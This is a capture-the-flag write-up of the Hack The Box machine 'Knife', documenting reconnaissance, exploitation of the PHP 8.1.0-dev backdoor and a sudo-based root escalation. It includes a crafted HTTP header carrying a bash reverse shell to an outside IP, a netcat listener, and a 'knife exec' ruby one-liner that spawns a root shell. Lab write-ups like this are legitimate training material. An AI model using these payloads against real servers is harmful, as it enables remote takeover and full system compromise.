Knife Writeup

Reconnaissance & Enumeration

As usual I started with the nmap scan of the box.

# Nmap 7.91 scan initiated Sun May 23 05:31:01 2021 as: nmap -v -sC -sV -oN nmap knife.htb
Nmap scan report for knife.htb (10.129.110.132)
Host is up (0.15s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
|   256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_  256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title:  Emergent Medical Idea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May 23 05:31:15 2021 -- 1 IP address (1 host up) scanned in 14.45 seconds

There are only 2 ports open: Port 80 for the Apache service and 22 for the SSH.

On port 80 there is a simple page, without anything useful.

I couldn’t find any directory or file on the webserver either, so I looked into the network traffic to look for more information. Using Mozilla’s built-in Network Monitor I’ve found out that the site uses PHP with version 8.1.0-dev.

This particular version of PHP has a backdoor vulnerability described on the following links: Link 1 Link 2

An article about the backdoor

Getting user

After finding the right articles, getting User was easy. I fired up burp to craft a request with the following headers.

GET / HTTP/1.1
Host: knife.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
User-Agentt: zerodiumsystem("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.84/4444 0>&1'");
Cache-Control: max-age=0

Note the second last header: User-Agentt: zerodiumsystem("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.84/4444 0>&1'");. The backdoor basically gets the content of the User-Agentt and executes the string if the it starts with zerodium. Naturally, after I tested the backdoor I created a reverse-shell to get user access and grab the user flag.

┌──(kali㉿kali)-[~]
└─$ sudo nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.84] from (UNKNOWN) [10.129.110.135] 55484
bash: cannot set terminal process group (886): Inappropriate ioctl for device
bash: no job control in this shell
james@knife:/$ ls -la
ls -la
total 84
drwxr-xr-x  20 root root  4096 May 18 13:25 .
drwxr-xr-x  20 root root  4096 May 18 13:25 ..
lrwxrwxrwx   1 root root     7 Feb  1 17:20 bin -> usr/bin
drwxr-xr-x   4 root root  4096 May  6 14:49 boot
drwxr-xr-x   2 root root  4096 May  6 14:10 cdrom
drwxr-xr-x  19 root root  4040 May 23 07:10 dev
drwxr-xr-x  99 root root  4096 May 18 13:25 etc
drwxr-xr-x   3 root root  4096 May  6 14:44 home
lrwxrwxrwx   1 root root     7 Feb  1 17:20 lib -> usr/lib
lrwxrwxrwx   1 root root     9 Feb  1 17:20 lib32 -> usr/lib32
lrwxrwxrwx   1 root root     9 Feb  1 17:20 lib64 -> usr/lib64
lrwxrwxrwx   1 root root    10 Feb  1 17:20 libx32 -> usr/libx32
drwx------   2 root root 16384 May  6 14:08 lost+found
drwxr-xr-x   2 root root  4096 May 18 13:20 media
drwxr-xr-x   2 root root  4096 May 18 13:20 mnt
drwxr-xr-x   5 root root  4096 May 18 13:20 opt
dr-xr-xr-x 351 root root     0 May 23 07:10 proc
drwx------   7 root root  4096 May 18 19:34 root
drwxr-xr-x  27 root root   820 May 23 07:21 run
lrwxrwxrwx   1 root root     8 Feb  1 17:20 sbin -> usr/sbin
drwxr-xr-x   6 root root  4096 May 18 13:20 snap
drwxr-xr-x   2 root root  4096 Feb  1 17:20 srv
dr-xr-xr-x  13 root root     0 May 23 07:10 sys
drwxrwxrwt  16 root root 12288 May 23 10:00 tmp
drwxr-xr-x  15 root root  4096 May 18 13:20 usr
drwxr-xr-x  14 root root  4096 May  9 04:22 var
james@knife:/$ cd /home
cd /home
james@knife:/home$ cd james
cd james
james@knife:~$ ls -la
ls -la
total 40
drwxr-xr-x 5 james james 4096 May 18 13:20 .
drwxr-xr-x 3 root  root  4096 May  6 14:44 ..
lrwxrwxrwx 1 james james    9 May 10 16:23 .bash_history -> /dev/null
-rw-r--r-- 1 james james  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 james james 3771 Feb 25  2020 .bashrc
drwx------ 2 james james 4096 May  6 14:45 .cache
drwxrwxr-x 3 james james 4096 May  6 16:32 .local
-rw-r--r-- 1 james james  807 Feb 25  2020 .profile
-rw-rw-r-- 1 james james   66 May  7 14:16 .selected_editor
drwx------ 2 james james 4096 May 18 13:20 .ssh
-r-------- 1 james james   33 May 23 07:10 user.txt
james@knife:~$ cat user.txt
cat user.txt
cbb0b9145e871e31566e17348309572b
james@knife:~$

Getting root

Listing the allowed sudo commands as the user james we find out that we can run the following command as sudo without authentication:

james@knife:~$ sudo -l
Matching Defaults entries for james on knife:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife
james@knife:~$

Upon trying to run knife we get a really long output of the possible commands of the script. One such command is the exec system-call:

knife exec [SCRIPT] (options)

Looking at the syntax it looks like we can execute a ruby script with it. So I quickly wrote a simple test script, which gave me a root shell and I could grab the root flag.

james@knife:~$ cat test.rb
system('/bin/bash')
james@knife:~$ sudo knife exec test.rb
root@knife:/home/james# id
uid=0(root) gid=0(root) groups=0(root)
root@knife:/home/james# cat /root/root.txt
f229ff05da51968b87bd9bc0d3b7b905
root@knife:/home/james#